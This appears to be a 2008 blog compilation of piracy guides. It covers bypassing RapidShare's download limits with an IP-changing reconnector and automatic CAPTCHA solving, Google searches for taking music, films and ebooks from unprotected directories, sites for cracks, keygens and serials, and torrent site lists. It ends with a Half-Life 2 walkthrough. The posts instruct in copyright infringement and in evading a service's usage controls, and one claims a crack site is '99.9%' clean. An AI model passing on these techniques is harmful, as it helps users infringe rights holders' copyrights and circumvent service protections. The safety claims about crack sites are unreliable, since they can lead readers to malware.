Before we can start using (E)lephant to automate unlimited downloading from RapidShare, you’ll need to configure it. Most important configuration is the reconnector. That’s where it will auto reconnect your internet connection to get a new IP address.

1. Once downloaded (E)lephant, extract and run (E)lephant.exe

2. Click on Options at the menu bar and select Settings.

3. Go to the Reconnector tab. I am not going to teach you on how to use the built-in reconnector because it might not work for everyone. I am sure that the external connector method will work for everyone with all types of connections.

4a. For people that is using MODEM to connect to ADSL.
Open notepad and type in the code shown below and save it as rasdial.bat

%systemroot%\system32\rasdial “streamyx” /disconnect
%systemroot%\system32\ping -n 20 127.0.0.1 >nul
%systemroot%\system32\rasdial “streamyx” “user” “pass”

There is 3 lines. First line will disconnect your current connection. You need to change the “streamyx” to your connection name. To know what is the connection name, see the title of the dial up.

The second line will ping localhost 20 times which is good to let your modem rest for 20 seconds before reconnecting again.

The third line will auto dial up to your ISP. Again, change the “streamyx” to your connection name, then “user” to your username and “pass” to your password.

Once you have the rasdial.bat file ready, try running the batch file and see if it will automatically disconnect your internet, wait for 20 seconds and then reconnect. If it works, continue to step 5. If not, check your connection name, username and password.

4b. For people that is using ROUTER to connect to ADSL.
You have to use Macro to record your actions in logging in to your router, disconnect and reconnect. I recommend using free macro Do It Again. Download and install Do It Again. Run Do It Again, go to Options and select Associate with .dia files. Now click the Create a New Task button. You will need to manually login to your router using a web browser to manually disconnect and reconnect your connection. Press SCROLL LOCK when you’re done and save the task with a name such as “changeip”. To test whether it works or not, go to the programs folder which is at C:\Program Files\Do It Again\ and run changeip.dia file. It should automatically open up your web browser, log in to your router, disconnect and reconnect your connection.

5. Check Use the external reconnector.

6. If you’re using modem, click the …. button to look for your rasdial.bat file and click Set button. For router users, browse to C:\Program Files\Do It Again\DoItAgain.exe and at the next box, enter changeip.dia (the name that you saved earlier) and click Set.

7. Now go to any sites that has RapidShare links. Use your mouse to highlight the links, right click and select Copy.

8. A small (E)lephant window will popup asking you to add the links. Just click Add button.

9. All links will be added to (E)lephant. The last thing you need to do here is to click the Start button to start downloading. You will notice that it can auto decrypt and enter rapidshare CAPTCHA codes and will reconnect your internet whenever it detects that you’ve have reached the download-limit for free-users.

In my opinion, software like Cryptload, USDownloader and (E)lephant is totally legal because it does not hack or exploit Rapidshare servers. It is only a download manager which has the capability of auto recognizing CAPTCHA code and also ability to run third party tools based on error message detected in Rapidshare. There is nothing they can do other than periodically changing their CAPTCHA images.

NOTE: (E)lephant is VERY new and I believe it has yet to surface on any blogs other than here in Raymond.CC. If you’ve learn about (E)lephant from this page and think this news is useful and you’d like to post it on your blog, be kind to leave credit and linkback to this post. Thanks and happy downloading!

[ Download (E)lephant ]
original post
here

find a legit/scene release

2008-02-07T04:14:00.000-08:00

There are many ways one could go about this and i'll try to go through some of the more popular ones.

First way - Private Trackers
Some are harder to get on then others but if your social and come onto IRC and make friends generally they'll help you get on these trackers. Another way to kind of do this is by finding open sign up trackers which can keep better control over uploads because only certain people can upload. (i don't know any trusty ones off hand but if you guys msg me i'll add them in)

This is the most effective way because if you have these you don't need the next ones.

Also Exterus has been maintaining this huge list of torrent sites here. I can't speak for most of them but feel free to check them out.

Second Way - rlslog

With rlslog you have to realize that they don't post every release so just because something your looking for doesn't pop up on rlslog doesn't mean it hasn't come out.

You can use rlslog a couple different ways. One way is of course using the link that is provided at the bottom of the post.

Another way is copy and pasting the release name over to TPB or mininova. This is helpful when there isn't a torrent link or you would rather use another site.

Also a couple other sites are nforce and vcd quality

Third Way - Read Comments

Fourth Way - Common Sense

If you see a dvdrip that came out when it is still in theaters then chances are its not a dvdrip. Sometimes DVD screeners come out (american gangster) or a workprint comes out out (Stargate - The Ark of Truth) before a movie
is released but his isn't often and you'll see posting about it on suprbay and also a post about it on rlslog.

Fifth Way - Trusted Uploaders

On The Pirate Bay as well as some other sites you can see who uploaded the torrent. Try to look for uploaders you have downloaded legit torrents from before and just download from them.

Here's a list of ones in know about: (post if i missed some)
He0n
Loder (make sure you remove the moviex tracker from his torrents)
3666 - mostly tv

free security

2008-02-01T09:57:00.000-08:00

If you are in the need of software to protect your computer online than i suggest you take a look at the list below.
All programs listed here are for FREE.

You can download or get more information on a program if you click on it.

*NEW* A rating system is added.

--> Excellent
--> Very good
--> Good
--> Not rated yet

Firewall

ZoneAlarm Firewall 7.0
Preview: click here
Rating: very good
Requirements: Windows 2000/XP/Vista

Comodo Firewall Pro 3
Preview: click here
Rating: excellent
Requirements: Windows XP/Vista
Outpost Firewall Free 1.0
Preview: click here
Rating: very good
Requirements: Windows 9x/2000/XP/2003
Ashampoo FireWall 1.2
Preview: click here
Rating: Not rated yet
Requirements: Windows 2000/XP

anti-virus
AVG Anti-Virus
Preview: click here
Rating: good
Requirements: Windows 98/Me/NT/2000/XP/Vista
Avast Home Edition
Preview: click here
Rating: very good
Requirements: Windows 95/98/Me/NT/2000/XP/Vista
Avira AntiVir PersonalEdition Classic
Preview: click here
Rating: Not rated yet
Requirements: Windows 95/98/Me/NT/2000/XP/Vista
Dr.Web CureIt (Scan only but powerfull)
Preview: click here
Rating: good
Requirements: Windows 95/98/Me/NT/2000/XP/2003 Server

anti-spyware
A-Squared 3 (scan only)
Preview: click here
Rating: excellent
Requirements: Windows 98/Me/2000/XP/2003 Server/Vista
Ad-Aware 2007
Preview:click here
Rating: good
Requirements: Windows 2000/XP/2003/Vista
AVG Anti-Spyware 7.5
Preview: click here
Rating: very good
Requirements: Windows 2000/XP/2003
Spybot Search & Destroy 1.5.2
Preview: click here
Rating: good
Requirements: Windows (All Versions)
SUPERAntiSpyware Free Edition (scan only)
Preview: click here
Rating: very good
Requirements: Windows 98/Me/2000/XP/2003 Server/Vista
HijackThis 2.0.2
Preview: click here
Rating: very good
Requirements: Windows 95/98/Me/NT/2000/XP

anti keyloggers
SnoopFree Privacy Shield 1.0.7
Preview: click here
Rating: not rated yet
Requirements: Windows XP

p2p protection:
PeerGuardian 2.0
Preview: click here
Rating: very good
Requirements: Windows 9x/2000/XP/2003/XP64
Block List Manager
Preview: click here
Rating: not rated yet
IP filtering with utorrent
Preview: click here
Rating: excellent

privacy protection

Wash N' Go 2.4.3.1
Preview: click here
Rating: excellent
Requirements: Windows 95/98/Me/NT/2000/XP/2003 Server

PrivacyGuard 1
click here
Rating: good
Requirements: Windows 98/NT/2000/XP/Vista

Eraser 5.7
Preview: click here
Rating: excellent
Requirements: 95, 98, ME, NT 4.0, 2000, 2003, XP & Vista

File Shredder 2
Preview: click
here
Rating: Not rated yet
Requirements: Windows 98/NT/2000/XP/2003 Server/Vista

µTorrent auto download

2008-02-01T09:55:00.000-08:00

Go to http://thepiratebay.org/rss and chose the feed you want.

Open µTorrent
Hit (ctrl-r) or Help>RSS Downloader

In the “Feed” tab click “Add”

Enter the RSS Feed you want to use. In this case it is the feed for TV Shows.

In the “Favorites” tab click “Add”

Name the “New Filter” what ever you want.
You have many options so mess around with them until you find something that works for you.

The allowed wildcards for “Filter:” are “*” “?” and “|”
Think of “?” as a wildcard for a single character. “*” is the wildcard for anything; any/all characters and any amount of them. “|” equals "and."

This is what a torrent for The Office might look like The.Office.S04E08.PROPER.HDTV.XviD-XOR
In this case “?” = ”.” and “*” = “S04E08.PROPER.HDTV.XviD-XOR”

The “Not:” field allows you to chose things you do not want downloaded. It uses the same wildcards as above. Example: *AC3*|*H*264 would make it so you won’t download anything with AC3 audio in the H.264 format.

Pick where you want to save the files.

Chose what feed you want to use. You can chose a specific one or just leave it as “All.”

You can chose from a myriad of quality options.

Make sure to chose a minimum interval or you may download the same episode four times in one night.

Once you get everything fine tuned you should be good to sit back and let your HDD fill right up.

If I missed anything or you just want to learn more here is an official tut from µTorrent.
http://www.utorrent.com/rsstutorial.php

GOOGLE guide

2008-01-29T03:22:00.000-08:00

Many of us use Google as the main search engine. Whenever you ask a question often you get the answer to "google it". Below is a collction of more or less know tips how to refine your search in Google. I only take credit for putting these thisng togheter.

Bolean Search
AND
With AND google tries to find all the words listed.
Google searching defaults to AND. Therefore...

Code:

Google: suprbay hacks hints

is the same as...

Code:

Google: suprbay AND hacks AND hints

OR
With OR google will search for either of the terms. For example...

Code:

Google: "North Carolina" OR university OR college

The "|" symbol is treated the same as OR by Google. Thus, this search would yield the same.

Code:

Google: "North Carolina" | university | college

If you are sure you want to include one term but also want to include a choice of other terms, you can group your search. For example, the search below is much more powerful search that the similar OR search above. This will look for North Carolina universities or North Carolina colleges:

Code:

Google: "North Carolina" (university OR college)

- (Minus Sign)
The minus will exclude terms from your search. If you want DVDRip divx movies but you don't want to look for aXXo releases:

Code:

Google: "Title of the movie" DVDRip -aXXo

(works on other search engines as well)

"" (Quotation Marks)
As noted above, if you want to search for an exact phrase such as "Title of the movie" you enclose the phrase in quotation marks.

Code:

Google: "Title of the movie"

yields much more directed searches than

Code:

Google: title of the movie

* Wildcard Search

You can use the * wildcard to replace any specific words you might have forgotten.

For example assume that you were searching for one of Napoleon Bonaparte's famous quotes "Never interrupt your enemy when he is making a mistake." What if you couldn't remember all the words?

Code:

Google: "Never * your enemy when he is * a mistake"

The result above will still get you with the results you want... without knowing the exact phrase.

Now on to the more refined searches:

Now Google makes it possible to include synonyms in your search. Just insert a tilde or "~" sign in front of your search term.

For example, this search includes all synonyms for "songs" within its search.

Code:

Google: ~songs

Useful for changing the flavor of your search if you are not having good results.

Topic specific searches:
These links will show you how to access this part of google.
Several topics have gotten so broad that google has designed specific searches pages for them. These pages are limited to the topic addressed and should give you more narrowed searches that using the main google search.

http://www.google.com/unclesam - Searches just *.gov and *.mil sites
http://www.google.com/mac.html - Searches just apple related sites
http://www.google.com/microsoft.html - Searches just windows related sites
http://www.google.com/linux - Just searches linux related sites
http://www.google.com/bsd - No, it's not dead! Search BSD related sites only.

Even more advanced:

FREE MP3
People leave music files in unprotected directories all of the time. Here's how to get to them. Come get your free mp3s.
We all need music. If you properly query google, you can find open indexes of music files easily. Here are some hints to get you started.

Code:

Google: -inurl:htm -inurl:html intitle:"index of" "Last modified" mp3

Using this string we are using the "index of" and the inurl commands to attempt to isolate directories only. The mp3 tag on the end tells google to look for mp3s in these open directories. You can change this to wma or ogg if you wish.

You can add additional search criteria to focus your search more.

Code:

Google: -inurl:htm -inurl:html intitle:"index of" mp3 "pearl jam"

This command will find open directories with mp3 files with Pearl Jam. Obviously you can change the band name or file type to better define your search.

FREE MOVIES

Find those hidden directories just full of video files. This will search for avi, mpg, and wmv files.

We'll use the same trick to find open directories. This should find open directories full of video files.

Code:

Google: -inurl:htm -inurl:html -inurl:asp intitle:"index of" +(wmv|mpg|avi)

Just add additional search terms on the end if you want to focus your search. Say you wanted to find some starwars clips:

Code:

Google: -inurl:htm -inurl:html -inurl:asp intitle:"index of" +(wmv|mpg|avi) +starwars

If you want to focus your search further you can even add more and more search terms to limit it to directories:

Code:

Google: -inurl:htm -inurl:html -inurl:asp intitle:"index of" +(wmv|mpg|avi) +"parent directory"

FREE EBOOKS:

Googe will easily show you all those ebooks that are hanging out there for free! Once you learn google search, you can find anything. Want some ebooks? Oh, yeah... google does that easily. Another power searching lesson coming right up.

Code:

Google: -inurl:htm -inurl:html intitle:"index of" +("/ebooks"|"/book") +(chm|pdf|zip)

What does all of this mean? The -inurl htm and -inul html is attempting to get rid of regular webpages and show just index pages. Looking for index of in the title is doing the same. Using the pipe ( | ) tells google to look for something OR something else. Here were are telling google to look for book or ebook directories... and we have listed several common ebook formats (zip, pdf, chf).

If you would like to look for a particular author or title just tack it to the end of your search.

Code:

Google: -inurl:htm -inurl:html intitle:"index of" +("/ebooks"|"/book") +(chm|pdf|zip) +"o'reilly"

This uses the same idea but attempts to focus on directories that contain O'Reilly stuff. It's not perfect, but it's better than paying.

If there is enough intresst i could post some more usefull tips and hints for all your google fans out there.

FAKE torrents

2008-01-27T00:46:00.000-08:00

Our favorite bittorent sites are getting flooded with phoney uploads and instead of explaining what you should avoid i will post pictures of 100% real FAKE torrents.

1) A good indicator of fake torrents is by taking a look at the name and filesize + the time the torrents are added.
On this picture you can see they like to use aXXo his name to promote their uploads.

2) On this picture below you can see that they like to use standard titles like "Patch+serial.zip"
and again the filesize is wrong.

3) This picture is no different from the first one, again popular names are getting abused "DIAMOND" "DUQA" "FxM"

4) This one is also easy to spot because aXXo stopped uploading new movies especialy from 2008

5) Another standard trick of anti-p2p is creating new accounts that look similiar to aXXo or other famous uploaders.
Known axxo uploads can be found here: http://www.mininova.org/user/aXXo

6) FAKE FAKE FAKE

how to torrent

2008-01-27T00:40:00.000-08:00

Guide to Torrenting

In this guide, I will be covering how to torrent. This guide is recommended if you're new to torrenting and want

some help to get started.
Now, I know, when you start out it's overwhelming, but that's why I'm here.
When I starting torrenting, I had nobody teaching me and couldn't find a tutorial like this, so I had to learn most
of this myself.
After I figured it out, I met some other torrenters and the information was confirmed.
If you're about to turn around and stop torrenting because of the difficulty it takes to start out, that may be one
of the worst moves you'll ever make.
Torrenting is a joy when you learn how to do it, and you'll probably never close your torrent client.

Chapter One - Introduction

What is torrenting?
Torrenting is a filesharing protocol that is convenient and favoured by many people worldwide.

Why should I torrent?
You can find more downloadable content in the torrent community then almost anywhere. Not only this, but the speeds
of torrents can sometimes be better then if you're doing a direct HTTP download due to bandwith restrictions on a
website. While torrenting, you're recieving the data directly from your peers, resulting in you being able to
download however fast you possibly can if the uploader can upload to match.

Why shouldn't I torrent?
If you plan to use torrenting for illegal purposes, there is a chance that you can be caught if you do not take the
right precautions. Refer to the links at the bottom of the tutorial for Peer Guardian 2 -- A great way to protect
yourself against people looking to catch you in the act.

So... How does it work?
Keep reading.

Chapter Two - Clients

Torrent clients are what make it all work.
The torrent clients open up the small 'x'kb .torrent files, establishes the connection between you and the peers,
and transfers the data.
Torrent clients are obviously necessary, unless you want to use a web-based torrent client, but these are less
customizable, and probably have a few glitches here and there. I'd reccomend getting a client.
My client of choice?
µTorrent (link provided in 'links' section of tutorial)
Why?
Well, it's a light torrent client.
Clients like Azureus Vuze use your Java Runtime Environment and are a bit too clunky.
µTorrent also has a nice catagorization feature which really, really helps out if you download a lot of torrents.

Chapter Three - Optimize your Speed

This trick isn't only for torrenting, but all-around speeding up your internet connection.
Here's a quick and easy step-by-step...

1) Download and open TCP Optimizer (link in Links section)
2) Make sure that whatever adapter connects you to the internet is selected
3) Move the slider bar up ONE OR TWO NOTCHES! (Do not overdo this!!)
4) At the bottom, select "Optimal Settings"
5) Apply the changes
6) Restart your computer

Still going slow?
If your torrents are still going slow, don't fret. A lot of the time, it's not your connection's fault. It's that
the seeders have a slow upload speed, and you can only download as fast as they can upload.
What's a seeder?
Read on.

Chapter Four - Peers

Peers come in two different types. Seeders and leechers (leechers are often referred to just as 'peers').
These names define what the holder's status is on the file's completion.
Definitions:

Seeder - Somebody who is completely finished downloading the torrent and is now uploading it to all of the leechers.

Leecher - Somebody who is currently downloading the torrent. Leechers also upload what they have available.

So basically, when you're searching for a torrent, make sure that you find one with more seeders then leechers.

For example... You're searching for Firefox. You see two torrent downloads...

The first one has 1,235 seeds and 3,210 leeches.
The second has 52 seeds and 6 leeches.

Though the second seems less appealing because of the lack of digits, it's actually a better choice due to the ratio
of seeds to leeches.
If there are less people other then yourself downloading, then the uploader's bandwith can focus more on you,
resulting in you getting better speeds.

Chapter Five - Protect yourself from scams and tricks

When it comes to torrenting, there are a lot of people out there who are in it to scam you. There is a way to avoid
this, and it's not too hard.
Well, there are a few ways. Here, I'll list them.

Trusted Uploaders
Having trusted uploaders is always a great way to stay out of being scammed.
Say MovUp uploads movies. You download a few, and they're all good quality, no viruses, etc... You can now consider
him a trusted uploader. When looking for movies, check his torrents out.

Comments
Most torrent trackers have a comment system, in which registered users can post comments on a torrent to confirm
its authenticity.
Reading comments is always a great way to find out if something is real or not.

Size
Generally, the common size for a regular-quality full-length movie is around 700 MB.
If you see a movie that you've been looking for, but it's only around 20 MB or something, it's most likely a virus.

NOTE: A common scam that you should avoid is one that should be pretyt obvious, but a lot of people don't catch it
and end up with a virus.
what will happen is that the uploader of a movie will make a movie file around 700 MB that is titled to be a movie
you're looking for, but when you open it just says that you need to go to this website and download that program to
view it.
These are always full of crap.
The file that they're telling you to download is most likely riddled with viruses and other malware. Beware - This
happens quite a bit.

And just remember -- If it looks like a scam, it probably is!

Chapter Six - Other Essentials

Now you know and have all you need to torrent, but there is still more software that you should download.
There are links for all of these in the Links section.

VLC Media Player - A media player that supports most if not all video formats (I'm not a fan of it, but a lot
of people love it)

CCCP - All the codecs you'll ever need

Nero - A great program to burn DVDs and other media

Daemon Tools - A program that can mount .iso files and other image filetypes so you don't have to burn them
onto a disc

Links

Peer Guardian 2
The Pirate Bay
uTorrent
Release Log
Torrent Freak
TCP Optimizer
VLC Media Player
CCCP
Nero
Daemon Tools

2008-01-23T03:26:00.001-08:00

Don't ask for key gens and serials use google we are not your personal workers.

Don't break these rules. You may be banned for the first violation.

Second: Make sure you have a Pop-up blocker, and good Anti-virus. They're the best tool's for keeping you safe while looking for Serials and Cracks.

If it looks like it might contain Ad-ware, Mal-ware or spy-ware Don't go there.. Simple as that... BUT, it's your judgment call to make.... I'm not your parent.

Alright, So last but not least in this section.... Make sure you have the PROPER file versions on any serial, key-gen or crack that you use.

Example:Say you have Adobe Premiere ver. 6.5, And you download a serial, crack or key-gen for Adobe Premiere 5.8 ... Well it's most likely not going to work.

If it's to new, the software might reject the Serial because it has a different string setting than previous versions.

If it's to old, it might be rejected due to patching the software to block the serial, Since most serials that get passed around are the same few, unless they're Key-gen'd properly.

Alot of larger companies Hire people just to find these serials just to block them for use in later versions.

Third: Lets begin!

Http://www.Astalavista.com

Alright, so you're here... And Maybe you have become a little confused. Well, it's going to be alright, all you need to do is use their "Underground Search" In the Middle of the page on the right hand side.

There are a number of sites to search through with just this one engine. Alot of the websites have pornography on them, or pop-ups with tracking cookies or porn. There's only one site they give that has ad-ware that it tries to give you, and there is a simple rule that I follow to keep myself safe, Don't use it.

Http://Projectw.org

This is a Forum, where you may request a number of things. One of which, is Cracks.

You may find that Sub Forum under their "File Request" Main Forum. You're going to need to sign up with them to get things going, but their community are good people and they will help you as best they can.

HTTP://ALLSEEK.INFO

Yet Another, extremely renowned "Security Group". Although, this time it looks to be a bit easier to get your cracks, key-gens and serials.

All you need to do for this one, is use the search bar at the top of the page. The default setting is for cracks and serials.

http://www.gamecopyworld.com

Alright, This place is for all your cracking needs... they have cracks for some of the most obscure shit I have seen ever.

I'm 99.9% sure that anything posted here, is going to be clean, and will work for you... AS LONG as you have the correct file versions.

Okay, So... I hope this guide has in some way helped you out, And if you get confused, feel free to send me a PM via e-mail.

Thanks for Reading and I hope you have a good time out there.

Edit: I will keep working on adding content in this guide. If anyone has anything to add, just say it, and I'll add.

combining multiple video files

2008-01-23T03:24:00.000-08:00

his is not a complete guide to ConvertXtoDVD, but mainly aimed at combining multiple video files (such as 2-Disc scene releases) to create one DVD.
ConvertXtoDVD Homepage
I'll use an example: American.Gangster.DVD.SCREENER.XViD-PUKKA (2-CD/1.4GB)

Firstly, open ConvertXtoDVD
Secondly, click File->Select Add Video File

After you have selcted which video file to add, it should now look like this:

Third, do the same for the second video file:

Now you can select which options you want...
Under Menu, you can choose to make a menu if you like, and also Title the DVD:

Under Encoding, select the target size (DVD-5, DVD-9, or any customized size)

Also select Quality of Encoding
*I prefer High quality/ Slow encoding*

Under the TV Format Option, you have the option to select the region (NTSC, PAL)

Under same Option, TV Format, you can set the desired resolution

Language Options, are obviously under Language in options

Under Burner settings, select your drive you wish to burn to, also select the speed.
*Slower burning speeds help prevent problems during the burning process*

For Subtitles go to Subtitle option and select desired language. For more customized subtitle options, select the 'Text subtitles rendering settings' button.

Lastly, when you have all the options set to what you want, it is time to convert. Action->Convert

After this, your disc should eject when done (unless you selected to not use the option, 'burn after conversion' then the files sit on the selected destination, usually to folder C:/ConvertXtoDVD, or similar - you can change this destination path), then burn when ready, and now you are ready to watch on you 52" Plasma, or home theater projection setup

Edit: *If you decide to not burn immediately, go to the Burn Existing DVD selection under Action when you are ready to burn. (Note: you can use any DVD burning software at this point, doesn't have to be ConvertXtoDVD. You could use Nero, Roxio, or whatever you prefer.)

Last Note: There is a setting listed above under your options to delete the files after successful burn...I do not recommend this unless you absolutely do not want the remaining files/original files on your harddrive, because they will be deleted, and forever lost - which may be problematic if the burn process somehow doesn't work correctly.

Enjoy, and useful feedback, or opinions on helping the tutorial are welcome...Eventually I may expand a bit to get more specific with some settings.

how to open rar files

2008-01-23T03:22:00.001-08:00

have a multi archive rar file? if you do it should look something like this:

note that some of them are blank and some of the files have book images on them. you can double click ANY of the book parts of the file. you only need to open 1 it could be r00, r07, r29. etc. as long as they have a book picture on it you should be good.

to extract these files you can use a program like winrar. you can get your free trail at http://www.rarlab.com/

once you get winrar you have 3 options:

option 1: right click a file> select properties> in the general tab there should be something that says "open with" and a button that says "change". if it doesn't open them with winrar by default click the "change" button and it will show you a list of programs to associate rar files with. if winrar isn't in the list you can select the "browse" and it will take you to your program files. once there go to winrars folder(winrar is in the winrar folder by default in your program files.) and select the winrar exe.

then click ok, and select apply. every time you get rar files you can just double click them and it will open them with winrar.

option two: right click and select open with. if winrar, or whatever you're using, isn't there you'll have to do everything in option one once and then after that everytime you rightclick and select "open with" winrar should be an option.

option 3: open winrar and find the files manually and open. in the end the outcome should look something like this:

then simply drag the file to your desktop, or wherever you want it, and you're done. if the file doesn't work one of the files you downloaded is probably damaged

if you're still confused or have any questions you can reply here in this thread and i, or one of the other regulars, will help you when we get the time.

hope this helps.

torrent sites

2008-01-23T03:18:00.000-08:00

Mixed sites:

http://thepiratebay/ - The one and only.
http://suprnova.org/ - The phoenix of the torrent world.
http://www.torrentbytes.net
http://www.torrentleech.org/
http://www.torrentreactor.net/
http://polishtracker.org - Polish site.
http://www.digital-update.com/
http://www.torrentmatrix.com
http://www.newtorrents.info
http://www.filelist.org/
http://www.revolutiontt.org/
http://www.torrent-damage.net/
http://bi-torrent.com/
http://www.uknova.com
http://tracker.zaerc.com/
http://mininova.org
http://www.demonoid.com/
http://www.bitme.org
http://snarf-it.org/
http://www.pisexy.org/
http://bt.eastgame.net/
http://www.bitsoup.org
http://www.ilovetorrents.com
http://www.finbytes.org - Finnish site.
http://www.danishbits.org/ - Danish site.
http://conspiracycentral.net/
http://tti.nu
http://www.bitme.org
http://bushtorrent.com/
http://tracker.reprobate.se/ - A Science fiction tracker and torrent site.
http://www.wild-bytes.org/
http://www.bithq.org - Mostly DVD-R's.
http://tha-tracker.net/
http://sumotorrent.com/
http://www.mybittorrent.com/
http://h33t.com/
http://www.zinebytes.org/ - E-books, audiobooks, magazines, cartoons and education. The site is in Swedish, but it has English material.
http://textbooktorrents.com/

Movies:

http://www.mvgroup.org/ - Documentaries.
http://www.asiandvdclub.org/
http://karagarga.net/ - Westerns, noir, giallo, classics, etc.
http://www.thepokerbay.org - Poker stuff.
http://www.oscartorrents.com - Only online around the Oscars.
http://www.scenehd.org - Scene HD movie/tv releases.

TV & TV-Shows:

http://www.eztv.it/ or http://www.eztv.nl/ - Most of the popular, new episodes can be found here.
http://www.mrtwig.net - South Park stuff.
http://www.bitmetv.org
http://www.swetv.org/ - Swedish TV tracker.

Anime and cartoons:

http://trackerb.zcultfm.com:6969/ and http://trackern.zcultfm.com:6969/ - Scanned comic books.
http://www.animesuki.com
http://a.scarywater.net/
http://www.downloadanime.org/
http://www.gotwoot.net/
http://www.boxtorrents.com
http://www.myspleen.net - Stuff from Cartoon Network and similar channels.
http://www.animeyume.org/
http://www.baka-updates.com/releases.php
http://www.tokyotosho.com/

Sports:

http://www.pwtorrents.net - Wrestling torrents.
http://extremebits.org/ - Extreme sports.
http://www.accvideos.com/ - College sports. Mostly american football.
http://bt.davka.info/ - Basketball torrents.
http://www.sportbit.org/browse.php?page=0 - Mixed sport torrents.

Games:

http://bt.xbox-sky.com - Mostly X-Box stuff.
http://www.euroemu.net/ - ROMs and ISOs for "older" consoles.
http://full.pleasuredome.org.uk/ - Older stuff and arcade games.
http://www.underground-gamer.com/
http://www.blackcats-games.net
http://www.bitgamer.com/

Music:

http://punktorrents.com/ - Punk, ska and such.
http://www.filemp3.org/
http://btmusic.org:2710/
http://www.pianosheets.org/ - Notes and stuff like that.
http://www.trancetraffic.com - Techno/trance/hardstyle
http://www.kerrazy-torrents.net - Metal, hard rock, etc.
http://punkhc.dyndns.org/ - Punk, HC, Ska and genres like that.
http://www.kraytracker.com - A lot of punk, hardcore and emo.
http://www.teknomassif.com/ - Mostly live DJ stuff. Techno, Drum 'N' Bass, House, Hardcore, Trance, Breakbeats.
http://www.music-torrents.com/ - Trance and House.
http://www.mixermusic.net/ - (Lots of popups on this one)
http://www.u2torrents.com/ - Tracker with music only by the band U2. Weird, I know.
http://torrentazos.com/
http://tracker.vipmusic.org - A lot of heavy stuff.
http://zombtracker.the-zomb.com/index.php - Live music.
http://www.indietorrents.com - Indie stuff.
http://rockbits.rollover.at/ - Forum with links to rock torrents.
http://www.mixtapetorrent.com - Mixtapes mostly.
http://www.mixunit.com - Also mixtapes.
http://www.metalbits.org - Private tracker with metal and related genres.
http://waffles.fm/
http://what.cd/

Porn:

Torrent search engines:

http://www.torrentz.com/
http://isohunt.com/
http://www.torrentspy.com/
http://yotoshi.com/
http://plentyoftorrents.com/ - Meta SearchTorrent Site.
http://fenopy.com/

sorry i cant list any of the trackers in a public place like this

how to detect a virus in cracks

2008-01-15T07:43:00.000-08:00

Before you proceed with the guide you need to have the following things installed.

* a virus scanner and if you still need one try avast home edition or AVG free
* Sandboxie Click on it for more information and to download it.

------------------------------------------------

How to deal with cracks/patches and keygens.

1) As an example we want to download winrar 3.71 and after searching on the piratebay we come up with this:

*NOTE* now as you can see someone posted a comment saying it holds a virus, but for now this will be ignored.
2) We add the torrent to be downloaded and after a while it has finished as you can see on the picture below.
3) Now we create a new map somewhere and name it "virus testing" (or whatever you want) and we move our downloaded file(s) over there.
4) Now at first we need to scan those files with our own anti-virus scanner and if it doesnt detect anything we move over to part 5.

*NOTE* The files in this guide were scanned with avast home edition without any result.
6) If no virus or trojan is detected with your own virus scanner than it is time to upload the file(s) to virustotal.com (filesize limit 10mb)
This website is capable of scanning your files with 30 different virus scanners and will give a result right away.

here is the result of the file wrar371.exe and as you can see there were some detections but we have to keep in mind that most keygens and cracks will most likely be detected as a virus/trojan and for now lets just ignore it
6) Now it is time to use sandboxie, We press right click on the file and press on "Run sandboxed"

Sandboxie is a special program designed to run files without hurting your computer.
It creates a NEW enviroment where no virus or trojan is able to execute their malicious codes.
7) Now in this guide the file wrar371.exe is opened with sandboxie and as soon as it opens
avast home edition detects a virus but the good the thing is nothing is infected because it is opened in a enclosed enviroment by sandboxie.
8) In the end it is safe to say that winrar 3.71 was indeed infected and should be removed.

NOW, please pay more attention on what software and crack you download and where from.

"Knowledge is the key to understanding"

Half-Life 2: Episode Two FAQ/Walkthrough

2007-12-26T22:00:00.001-08:00

Chapter 1: To The White Forest
Chapter 2: This Vortal Coil
Chapter 3: Freeman Pontifex
Chapter 4: Riding Shotgun
Chapter 5: Under the Radar
Chapter 6: Our Mutual Fiend
Chapter 7: T-Minus One


Chapter 1: To The White Forest


She will run to the left to get a view of the ruined city. When the storm
thing comes rushing toward you, don't worry, just turn around and watch the
bridge.

Now backtrack a bit to find the fence on the left is now open. Take that path,
blast away the board at the top of the slope, and don't forget that you have
a flashlight (press Y on the 360). Drop through a hole in the floor to confirm
your fears that dark places will usually lead to zombies; they're dead now,
thankfully. Blast away the debris and crawl under the obstruction.

Pick up the saw blade on the wall and go toward the opening. Zoom down the
way to see a battle of monsters (click the RS on 360). When you go down the
small steps, look right and kill the lone zombie in the corner. Use the barrels
in this area to kill the rising zombies down the way (careful Alyx doesn't hit
one as you hold it). There is one extra zombie in the dark pit, FYI. When you
get to the end of the tunnel a Zombine (zombie Combine) will show up and end
the never-ending battle of undead and bug.

Pick up the green health tubes and move through the door, go ahead and keep
the saw blade if you like it. Inside Alyx will use the equipment to try and
send a message. After the no-go, she hops up to an area and then a cable will
fall down. Pick that up with your gun and walk it into the red slot on the
wall with the other cables. Then just watch.

After the scene, go out through the other door. Pull in and then toss the crate
into a nearby wall to get the health inside (you press LT when you have the
blade to drop it, then pick it back up). Move into the tunnel and look right
to see a headcrab down the way, so send your blade into it. Go down to the
boarded exit, pick up your blade, and send it into a wall so you don't forget
it.

Now go up the rails to the cart stuck behind some boards. Just blast each board
to move them and free the cart. It will open the path of course. Go back down,
pick up your blade, and keep moving.

After Alyx speaks, go up the path to the right. At the fence, follow a path on
the left to get into the next area. Drop the blade somewhere and find a ladder
between the trains. Go up, hop over some gaps, blast away a piece of metal
on a roof, and drop down into a room. When you fall down, look right to see
something looking in on you. Then go press the green button.

You can't use the door, so look on the floor for a yellow bar. Pull that bar
out of the slots with your gun and then drop through. Crouch, clear the crate
out of the way, and then follow the path for an interesting scene.

Your friend will free you, so just sit back until then. After you know this
has become an escort mission, pick up your blade and head through the open
gate. Only one path, so follow it and break the boards in your way. When you
reach the elevator, drop your blade inside and hop in. When you're ready, use
your gun to pull in the crowbar, then it's bye-bye for you.

Use the old friend to smash the boards and emerge in the mines all by yourself.
Enter the shack and grab the suit power-up. Open the door to find another
elevator, the manual kind. To in front of the wheel and hold down the action
button until you get slightly above the first room you see, then run into the
two items in the wall as you run into this room. Hop over the table and pick
up the pistol on the wall. Go to the hole in the floor and find some ammo in
the dead bugs.

Now look down the hole to see a fresh Antlion at the bottom. You can shoot it,
or you can hop down to the wooden boards, the ones that don't break, and use
your Gravity Gun to use a crate; either way. When you drop down, find a small
room with some ammo and armor. Follow the path and drop down yet another hole.

*NOTE: By now, you will probably lose the saw blade, but props if you can
manage to take it any further. I will just stop reminding you.*

When you drop down to the bottom there will be a headcrab. Shoot it, or just
